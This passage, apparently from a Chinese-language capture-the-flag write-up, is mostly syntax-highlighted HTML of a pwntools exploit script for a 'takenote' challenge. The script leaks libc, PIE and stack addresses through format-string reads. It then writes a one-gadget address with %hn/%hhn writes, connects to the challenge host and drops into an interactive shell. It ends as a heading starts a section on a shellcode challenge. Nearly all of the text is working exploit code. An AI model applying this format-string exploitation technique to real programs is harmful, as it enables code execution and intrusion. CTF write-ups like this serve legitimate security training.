style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"e?</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">str</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">16</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.encode</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    write</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"%p.%14$p,%15$p"</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    show</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    io.recvuntil</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"reads:</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    libc_base </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> int</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io.recvuntil</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"."</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">drop</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">True</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.decode</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">16</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1ed723</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    pie </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> int</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io.recvuntil</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">","</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">drop</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">True</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.decode</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">16</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">15b0</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    stack_addr </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> int</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io.recvuntil</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">drop</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">True</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.decode</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">16</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">18</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    log.info</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">f</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"libc_base => </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">hex</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">libc_base</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">pie => </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">hex</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pie</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">stack_addr => </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">hex</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stack_addr</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    system </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> libc_base </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> libc.sym</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'system'</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    pop_rdi_ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pie </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">000000000000160b</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    binsh </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> libc_base </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> next</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">libc.search</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"/bin/sh</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\x00</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    ogg </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> libc_base </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">e3b01</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    log.info</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">f</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"ogg => </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">hex</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ogg</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    write</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">f</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"%30576c%14$hnaaa"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.encode</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p64</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stack_addr</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    show</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    write</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">f</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"%</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ogg </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">ffff</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">c%19$hn"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.ljust</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">16</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"a"</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.encode</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    show</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    write</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">%30578c</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">%14$hnaaa"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p64</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stack_addr</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    show</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    write</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">4</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">f</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"%</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ogg </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 16</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">ffff</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">c%19$hn"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.ljust</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">16</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"a"</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.encode</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    show</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">4</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    write</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">5</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">%30580c</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">%14$hnaaa"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p64</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stack_addr</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    show</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">5</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    write</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">6</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">f</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"%</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ogg </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 32</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">ff</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">c%19$hhn"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.ljust</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">16</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"a"</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.encode</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    show</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">6</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    write</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">%30581c</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">%14$hnaaa"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p64</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stack_addr</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    show</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    write</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">8</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">f</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"%</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ogg </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 40</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">c%19$hhn"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.ljust</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">16</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"a"</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.encode</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    show</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">8</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    choose</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">while</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> True</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    io </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> remote</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"takenote.kctf-453514-codelab.kctf.cloud"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1337</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> argv</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">==</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 'r'</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> else</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> process</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">proc</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    try</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        pwn</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        io.interactive</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    except</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br></code></pre></div>
<h2 id="labgrown" class="scroll-target"><a href="#labgrown"><code class="hash inline-code">#</code>LabGrown</a></h2>
<p>shellcode 题，核心就是 shellcode 构造，这里主要是赛后和出题人交流了一下，出题人给了一个 fuzz trick（我赛时就是完全手搓试出来的）</p>
<blockquote>
